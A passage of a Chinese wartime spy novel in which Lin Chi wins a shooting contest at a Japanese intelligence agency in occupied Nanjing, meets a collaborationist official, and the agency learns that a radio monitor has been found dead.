川上麻衣颠了颠手里的两只红彤彤的大苹果,犹犹豫豫说道:“我现在通告第三轮的赛制,这是两只苹果,将会放在两名志愿者的头顶上,作为工藤君和林君的射击目标,击中者将取得最终胜利……”川上越说底气越是不足,瞟了一眼渡边,见渡边向他投来狐疑的目光,心中不由一阵打鼓,连忙收声,趋步到渡边身旁,低着声不自信问道:“渡边少佐,我事先并未与你商量,你觉得这样的规则怎么样?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“假如出了人命,黑木将军必定怪罪,到时候,阁下如何交代?” “我不是没有忧虑,但通过前面两轮比试,我觉得他们击中苹果大小的目标,应该不成问题,只是需要他们具备强大的心理素质……” “万一他们之中有人不具备这样的心理素质呢?”渡边诘问。 这一话一下子击中川上的最软弱处,阴云骤然笼罩在他的脸庞,他不知不觉转头看了一眼人群,但见所有的眼睛正殷切地注视着他,心中忽然想起了另一点,对看客们决绝说道:“我承认这场比试不可多见,我也知道大家都想看到最终结果,可是这场比试是有前提的,那就是需要有人主动站出来当活靶子,你们当中谁愿意报个名?” 川上本以为他的要求会让人知难而退,无疑中自己也有了下坡的台阶,可以体面地修饰自己曾经许下的“不分胜负决不罢休”的海口,可让他没想到的是,在沉寂十数秒后,人群中忽然有个日本士兵愣头愣脑举起手臂叫道:“我愿意做工藤君的靶子!” 他话音刚落,又有数人纷纷举手报名。 此情此景,让工藤感动得几乎流泪。 川上再无借口,心一横,说道:“很好,现在,当工藤君的靶子的人选已经有了,那么,谁愿意替林君报名?”说着,故意把目光停留在渡边的行动处方阵上。 行动处的所有队员面面相觑,尤其是李泉,当他发现川上麻衣探寻的目光时,赶紧低下了脑袋。 气氛有些尴尬了,居然没有一个人主动成为林赤的盟友。 这正合川上之意,他示威般地回看了一眼不远处的林赤,扬声道:“林君,不是我偏袒工藤君,实在是无人站到你一边,因此我不得不宣布这第三轮比试,由于阁下的弃权,胜者是工藤夕贵上尉……” 眼见一场好戏无疾而终,吃瓜群众大为失望,失望归失望,转而一想,获胜者是工藤,这倒也不失为最让他们激动的结果,便拼命鼓起掌来! 川上不得不提高声音,再次将了林赤一军:“如果再无人报名,我即刻宣布结果……” 林赤想也没想,迎着川上的目光说道:“好吧,这一轮,我承认我输了……” “咳咳……”川上得意收回目光,“下面,我来宣布本次比试结果……获胜者是……” “慢……”突然一个声音凭空杀出,阻断了川上的话语。 众人齐刷刷盯着发声者,竟是松机关行动处的处长渡边雪奈。 “川上中佐可不带这么欺负我行动处的人,如果就此裁定工藤君获胜,阁下不怕有人不服?” “是啊!起码我不服!”人群中有人帮腔,林赤稍加分辨便听出是电讯股的稻田勇。林赤幡然明白,他和稻田并未深交,昨夜甚至还恶语相向,他之所以要这样做,只有一种解释,他把宝押在林赤身上了! 很快,随着渡边的出头,行动处骚动起来,很多人纷纷表示不平。 “请问渡边少佐,有人愿意替林君当靶子吗?”川上语气咄咄逼人,环视一圈道奚落道:“难道渡边小姐愿意帮一把林先生?” 台下哄笑一片。 渡边的脸上红一阵白一阵,半晌,咬了咬嘴唇已毅然大声道:“怎么,阁下是欺负我不敢?好,我渡边雪奈就来当一回活靶子!” “渡边小姐莫不是开玩笑?”川上急转着眼珠,似乎不敢相信自己的耳朵。 “你觉得我堂堂的帝国少佐,会和你开这种玩笑?”渡边一脸肃穆,已开始解开披风纽扣,褪下扔给自己的队员,露出一身笔挺的军服,转身从川上的手里抢过一只苹果,留下错愕的川上站在原地,大义凛然地向场内走去…… “渡边少佐……”林赤蓦然提高声音喊道。 渡边停下脚步,回头看了林赤一眼,笑容可掬说道:“林桑,我相信阁下的枪法……” 林赤的心中突然闪过一丝异样的感觉,眼前的渡边他似乎不认识了,印象中,那个冷酷而凶残的渡边和眼前的渡边已判若两人,难道人的性格竟然也会发生变化?而且变化如此之巨? 一刹那,林赤的大脑一片混沌,他追上前几步,呐呐道:“……可是,这样的比试没有人会有十足的把握!” “别婆婆妈妈了,这是你吗?” “子弹是不长眼睛的……”林赤声音沙哑,有些不敢正视她的目光。 “只要阁下没有杀我之意,我并不在乎!”渡边把视线偏移到川上的身上,似乎是在说给川上听,“我要让某些人知道,我渡边雪奈也是帝国的无畏军人,并不会比任何人逊色!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第241章 神话破碎 站在人群里的稻田勇这短短的数分钟里,心情犹如过山车般大起大伏。这一次由他倡导并发起的博彩行为,本意是为了弄些额外的银子,用来小小弥补一下宝物失窃后带来的巨损,为此他特地找到林赤,探听虚实,尽管林赤只留下了只言片语,甚至还模棱两可,但他听出了某种异乎寻常的自信,因而他毫不犹豫选择把宝押在林赤身上,且倾其所有。 在这一点上,稻田勇是个十足的赌徒,他深谙一个中国古老的道理,那就是“富贵险中求”!此次买码,绝大多数人选择相信他们的狙击之神工藤夕贵,押林赤胜者凤毛麟角,如果稻田随大流,或许胜率更高,但即便赢了,那也意味着获利甚微。可这对于目前的稻田而言,只是杯水车薪,他缺的不是零花钱,而是拯救家庭于水火的救命钱,故而稻田宁可铤而走险。 林赤的驾驶员显然心怀叵测,他的刹车没有任何征兆,意图很明确,就是为了干扰比赛,那一瞬间,稻田不禁为他捏了一把汗,即便如此,林赤还是射中了目标,这让稻田心花怒放!可是当工藤同样达成目的后,稻田一颗心又提了起来,尤其后来当无人主动报名帮林赤、川上正要宣布工藤获胜之际,稻田心疼得要命,他心疼仅有的那么点积蓄。 就在这关键时刻,渡边站出来了,稻田又喜又惊,喜的是一切还有变数,惊得是站出来的不是别人,而是他的梦中情人渡边雪奈,倏然间,稻田热血冲脑,把心底泛起的一丝丝妒意强行压了下去,这个时候,他必须站出来了,他必须有所担当,他不能眼睁睁看着他心爱的女人去冒险,否则他真不算是个男人。 稻田不知从哪里涌上了无穷的勇气,撒腿冲到渡边跟前,大义凛然道:“渡边小姐,你退下,让我来!”说着从渡边手里夺过苹果,深情地看了她一眼。 渡边的眼里有嘉许之色,话也说得很客气:“稻田君,你又不是我们行动处的,名不正言不顺啊!” “我……我不愿看到渡边小姐冒这样的风险……”稻田吞吞吐吐回答,向渡边投来哀怨的目光,仿佛是说“你真傻,我的心意你还不懂吗?” 渡边一副不开窍的样子,丝毫没有领情的意思,只是说道:“稻田君多保重!”说着退回原地,对川上问:“稻田君替下我,川上君没有意见吧?” “渡边小姐的人缘不错嘛,稻田股长是我的属下,我对他很了解,这个人最大的优点就是胆小心眼多,能让此人甘愿帮你,可见渡边小姐的魅力之大啊!” “川上君别取笑我了,可以开始了吗?” “当然……”川上扬声问道:“你们二人谁先来?” 林赤和工藤对视一眼,工藤率先道:“我先来!” 那名愣头愣脑的日本士兵冲出人群,接过川上手中的苹果,大踏步向操练场东侧走去,一副大无畏的样子。没走几步,稻田从一侧逼近而来,拦住了他,低声而语重心长说道:“上等兵,我好心劝你,你可要小心,千万别没死在战场,死在自己人手里,那多窝囊!” 上等兵的脸上忽然布满忧虑,脚步似乎再也迈不开,脱口问道:“阁下是怀疑工藤君的枪法?” “上等兵,你是真傻还是假傻?这和枪法有关系吗?你是个大活人,再好的枪手遇到这种情况都会发憷的,他万一手抖一下,你还有命吗?算了,我只是好心提醒你,你自求多福吧……”说完稻田脸上掠过一丝坏笑,跑到林赤身旁,马上换成一副忧心忡忡的神情,几乎是哀求道:“林君,你这一枪可得打准,我的身家性命就交给你了!” 林赤并未马上答复,依旧在看着前方。 “你到底有没有把握?”稻田哭丧着脸又问了一句。 “怕死了?” “关键是这种死法不值得!你没听说这样的比试黑木都不知道吗,万一死了,连个勋章都得不到……” “这种比试也就川上君想得出来,我从没有参加过这类射击项目,说实话,我还真没把握!稻田君还是求神灵保佑吧!” “那……”稻田快要哭出来了,咬咬牙决然道:“今天如果有幸活下来,我把林先生当祖宗供着!” 上等兵在用石灰画好的圆圈内站好,把苹果放到头顶上,整个人如同定格了一般,一动也不敢动。他的脸庞已无最初的自信,密布着阴云。当工藤端起枪试着瞄准时,这位原本无知无畏的上等兵明显颤栗了一下。 第三轮的比试就这样拉开了帷幕。 工藤的内心此刻也是波澜汹涌,毕竟他面对的是一位帝国士兵,好几次,他明明觉得已经水到渠成,但就是没有勇气扣动扳机。他的不自信直接影响到上等兵的状态,他的双腿似乎已无法支撑身体的重量,整个人摇摇欲坠。 时间一分一秒过去,工藤迟迟没有开枪,端枪的双臂有些酸,他干脆垂下手臂,稍稍歇息了片刻,活动活动四肢,并扭了扭脖子,极力想放松心态。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这一次,工藤已准备充分,当他再次举枪时,在场的人大气也不敢喘,殷切期盼着这一声久违的枪响。 工藤的决心已下,手指开始接触扳机,他的大脑很快下达了“射击”指令,时机已经非常成熟…… “砰!”一声尖锐的枪响,枪里的子弹愤怒地呼啸而出…… 与此同时,人群中发出一声惊呼声! 但见上等兵双腿跪地,头顶上的苹果早已不知所踪。 川上只是眨了下眼睛,就看到了这一幕,内心又惊又悔,一开始本以为上等兵受到了误伤,快步跑上前去,刚跑到他的跟前,却见那名士兵抬起了脑袋,一脸羞愧,嗫嚅着对川上说道:“中佐,我害怕……我实在没有勇气……” 川上明白了一切,原来这位上等兵是害怕受到伤害,主动跪地的。 川上心里松了一口气,嘴里却厉声呵斥道:“你是我们大日本帝国士兵的耻辱!”说着鄙夷瞪了他一眼,扬长而去。 上等兵半晌才从地上爬起,拎了拎裤子,眼尖的人已看出他的裤子上湿漉漉一片。上等兵红着脸疾步跑回人群,只待了一小会儿,便掩面离去。 川上对渡边无奈耸了耸肩,悻悻笑了笑,挥手示意林赤登场。 林赤赶紧推了推稻田勇,微笑着提醒道“稻田君,该你了!”稻田如梦初醒,对林赤苦笑了一下,艰难地挪动脚步向前方走去,刚走到半路,又想起什么,赶紧折返,在林赤耳边耳语道:“林君,如果实在没有把握,就朝天放枪,反正我们也不会输!” “我也是这么想的!” 这句话多多少少对稻田是极大的安慰,他一口气跑进石灰圈内,把苹果小心翼翼搁在脑袋上,并示意他已准备妥当。 在梦中情人面前,稻田可不想装怂,再说,他官至上尉,和上等兵根本不能相提并论,他必须拿出应有的精气神来。 “我已准备好了,可以开始了!”稻田扯着嗓子喊了一句。 林赤站定,目测了一下和目标的距离,然后低头检查了枪支,接着拉开枪栓,这一切做完后,他并未马上举枪,而是转身向川上询问道:“川上中佐,可不可以让目标转过身去?” 川上眼睛翻了翻,侧头问渡边:“可以吗?” “有什么不可以?阁下制定的赛制里又没有这一条!” 川上一想,觉得渡边言之有理,正要回复林赤,忽见林赤突然急速转身,几乎在同一时间,他的枪口已然抬起,紧接着,唯听到一声尖锐的枪响。 “砰!” 川上还没明白怎么回事,稻田脑袋上的那只苹果已不翼而飞。他呆了呆,立即看到稻田疯疯癫癫蹦跳起来,嘴里兴奋呼喊:“林祖宗,我操你奶奶,吓我一跳!”边说边用手捋着头发上的汁水。 川上定睛一看,果然在稻田的不远处的地上看到了破碎苹果的残骸。 “林赤赢了。”川上失望的同时,一个念头在脑海中闪现。 “这个支那人太狡猾了,他分明是在利用和他讲话的机会吸引稻田勇的注意力,怕他重蹈上等兵的覆辙,他之所以这样做,只有一种解释,此人太聪明了,聪明得有些可怕!” 至此,场上的看客们方才醒悟过来,短暂地喝彩后,他们开始大声议论这场一波三折、脍炙人口的赛事,一时间,整个操练场人声鼎沸。 “大家静一静,接下来请川上麻衣中佐宣布比试结果!”渡边把川上让到身前。 “咳咳,我来宣布松机关的内部射击比试结果,获胜者是……行动处的林赤!”台下终于爆发出如雷的掌声,这一次的掌声,恢弘而热烈,竟是真实代表着松机关的民意。 川上正要继续发表演讲,他的眼光忽然定住了,落在了看台后面某处。 好奇的人们顺着他的目光望去,见操练场西侧的空地上,簇拥着走来一群人,为首的正是松机关的机关长黑木将军。 和黑木并排而行的,是一个身材稍矮、戴着金边眼镜的中年胖子。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第242章 蹊跷的死亡 一见黑木归来,以川上为首的松机关全体成员立即毕恭毕敬站立原地,全场顿时安静下来。 转眼间,黑木带着一众人已走到台前,并在川上和林赤等人身边站定。这时,黑木身旁的中年男人跨前一步,双手互击,用娴熟的日语高声道:“好,好,大日本皇军里果然藏龙卧虎啊!真让我梁某人大开了眼界!” 黑木给身旁的护卫使了个眼色,一名士兵马上会意,伸手收回了林赤和工藤手里的步枪。黑木微微一笑,悄无声息走到中年胖子的右侧,还没讲话,川上大喊一声:“全体都有……立正!” 看到全体成员整齐划一站定,黑木摆了摆手,台下的所有人马上呈“稍息”状。黑木铿锵有力说道:“我给大家介绍一下,这位从北京远道而来的贵客,便是我大日本帝国的好朋友梁先生,即将出任维新政府的行政院长,大家欢迎!”边说边牵住那位梁先生的手,把他引到身前。 台下爆发出热烈的掌声。 梁先生先是扬了扬手,算是和大家打了招呼,等到掌声稀疏,便用双手向下压了压,脸上笑容可掬,抱拳作揖说道:“大家辛苦了!” 他依旧用的是日语,台下的日本人听得亲切,立即又用掌声回报。 梁先生热情渐涨,继续道:“世道艰难,举目疮痍,可悲我泱泱中华流年战乱,民不聊生,各路诸侯为了一己私利,弃百姓于水火,中国这个东方的巨人已然烂到根子了,是到了该刮骨疗毒的时候了,幸运的是,我们有个好邻居,正是你们慷慨无私的相携相助,才使我们有了挖去腐肉、重获新生的机会,在此,我代表三万万同胞,对大日本帝国的勇士们表示最诚挚的谢意!”说完,梁先生深深鞠了一个九十度的躬。 台下又是掌声雷动。 梁先生心满意足又给台下的众人以及黑木抱了抱拳,慢慢退后,并示意黑木继续训话。 黑木马上换成一副俏皮的神情,戏谑道:“看看我松机关的日常是何等丰富多彩!”黑木把脑袋朝向川上:“这样的比武切磋,形式很好,以后要多多举行!” “是,将军!”川上心中一块石头落地。 “说说看,谁赢了?”黑木语气和蔼,有意无意扫了林赤和工藤一眼。 “报告将军,我们今天进行的是射击比试……行动处的林赤赢了!” “哦?”黑木面现惊诧,眼睛紧紧盯着工藤,狐疑问道:“工藤君,你可是帝国的神枪手,难不成今天的比试发挥失常?” “不,属下发挥完全正常!”工藤不敢正视黑木的眼睛,脸上浮现出羞愧之色。渡边见状,上前一步道:“将军,今天的比武本来双方可以打成平手,只是出了点小状况!”说着便把那位上等兵临阵腿软的事情大略说了,黑木脸上的阴云更重了,不假思索道:“这么说来,工藤君即便击中目标,最多也只是和林先生战平?” 渡边没有回答,倒是工藤脱口道:“报告将军,林先生的枪法确实在我之上!” “那我要恭喜渡边少佐喽……” 渡边一愣,黑木旋即道:“林先生可是一名难得的人才,这样的好钢可要用在刀刃上!”黑木已不再看她,对林赤笑盈盈道:“林桑,在松机关的行动处当差,会不会委屈你了?” “将军是想提拔我?”林赤急不可耐问。 “如果有合适的岗位我一定优先考虑林桑。” 一旁的梁先生从对话中听出门道,忙插话问:“怎么,这位林先生不是帝国勇士?” “来,林桑,见过梁先生。” 林赤双腿并拢,双手贴在裤缝边,弯腰鞠躬问好:“梁先生!” “林先生不用客气!”梁先生忽然改用汉语。 黑木拍了拍林赤的肩,亲切道:“林桑,你向梁先生做个自我介绍!” “报告梁先生,本人林赤,原是国军教导总队一名上尉!” 看到林赤再无下文,黑木的眼睛里掠过一丝不悦,随即说道:“林桑,你还是说详细点!” “是,将军!”林赤于是把脑袋又转向梁先生:“本人参加过南京保卫战,南京失陷后进入军统,是南京站的副站长,兼行动处处长……” 梁先生不等林赤说完,抢口道:“怪不得枪法这么好呢,军统果然不是摆设,竟也人才辈出……可是据说能当上军统站的站长,不是少将也得上校,堂堂的副站长,让一名上尉担任,实属罕见,莫不是林先生除了枪法以外还有什么特别的过人之处?” 林赤沉吟道:“或许因为本人有点特殊的背景……” “说说看!” “本人有过留学经历,曾在法国炮兵大学学习了三年……此外,我有一名大哥,他原是一名少将旅长,据说他和蒋校长的黄埔系渊源颇深!” “我说呢……”梁先生把脑袋别到一边,摆出一副厌恶的神色,对黑木洋洋洒洒说道:“黑木将军,你看看,当前国民政府的裙带关系已蔚然成风,上到最高统帅部,下到作战部队的一个排,甚至小到一个班,无不攀关系、送好处、溜须拍马……否则永无出头之日,将军您说,这样的政府还有希望吗?” 这章没有结束,请点击下一页继续阅读!不待黑木表态,林赤率先答道:“梁先生所言极是,我正是厌烦了这样的黑暗,才选择弃暗投明的!” “历史终将证明,林先生的选择是正确的!”梁先生把手掌贴在林赤的后背上,语重心长说道:“林先生好好干,终究会有出头之日的,唯有励精图治、奋发图强,我们的民族才有希望,我们的国家才能翻开崭新一页,走自己的路,让别人去说吧!” “梁先生的教诲,在下谨记!” 梁先生对林赤的回答很满意,抬起手推了推眼镜,忽然想起什么事,对黑木兴奋说道:“既然林先生毕业于国外正规军事院校,我看倒有一个位置蛮适合他的……刘云雄将军的警卫军若要成军,并形成战力,整训并不可少,我看像林先生这样的人才,不失为一名称职的教官!” “梁先生言之有理,有机会我会向刘将军举荐的!” 黑木抬头看到台下的众人依旧站立原地,高声吩咐道:“大家解散,都回到自己的岗位上去!” 正当人群作鸟兽散状之际,忽见操练场外一个日军士兵逆流而上,急匆匆跑步而来,在距离黑木尚有十多米的距离时,大喊一声:“报告!” 黑木不慌不忙走近他,轻声道:“讲!” “刚刚接到宪兵报告,在夫子庙的秦淮河边,发现一具帝国军人尸体,经检查他身上的证件,此人是我们松机关的,叫仓木清河……” “你是说是我们电讯股的仓木君?”黑木下达解散命令后,稻田并未立即离去,看到贸然闯进了一名士兵,知道定有大事,好奇心驱使他站在一旁侧耳谛听,当他一听说仓木清河的名字,再也忍不住,迫不及待趋步而来。 “仓木清河是稻田君电讯股的人?”黑木皱着眉进一步追问稻田。 “电讯股的确有一位叫做仓木清河的,专门负责电台监听!”渡边从黑木的身后走上前来,替稻田解释道。 “渡边少佐说得对!”稻田唯唯诺诺答道,片刻之后,脸上写满疑问,似乎是在呐呐自语:“午餐之前仓木君不是还在办公室吗?他什么时候出去的?怎么会死在夫子庙一带?” “这我要问问你这位电讯股的股长啊!”黑木突然提高声音,忿忿道,“稻田上尉,作为电讯股的最高长官,你居然连下属的行踪都一无所知?” “对不起将军,都是属下的错!”稻田低垂着脑袋,像是泄了气的皮球,全无了先前的神气活现,“将军阁下,容属下调查清楚,再给将军汇报!” “渡边少佐,你带几个人,会同稻田股长,去现场看看,定要把这件事搞个水落石出,我帝国士兵不能就这样不明不白死去……” 目送黑木一行离去,渡边回头对站在身后的林赤命令道:“林君,你叫上几个人,我们这就一同前往夫子庙!” 在前往案发地之前,渡边带着林赤以及稻田一同来到电讯股,详细了解相关情况。 电讯股的职员们也是刚刚听闻仓木之死的消息,已无心工作,聚在一起议论纷纷,直到稻田勇和渡边几人进了房间,他们纷纷散开。 “中午的时候,仓木君不是还在吗?他是什么时候离开的电讯股?”稻田阴沉着脸,开门见山问道。 “股长,我有个情况需要汇报!”一位女职员自告奋勇走上前来。 稻田眼睛一亮,忙道:“你说。” “仓木君出去之前,接到一个电话……” “哦?谁打来的电话?”稻田如同抓住了一根救命稻草,如果仓木的出行因由某一个电话,无形之中他的领导责任会小许多。 “他没说,我们也没问,但从他的形态判断,对方显然官阶比他高……” “为何这么说?” “因为我看到整个接电话的过程中,仓木君一直毕恭毕敬,不停点头……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。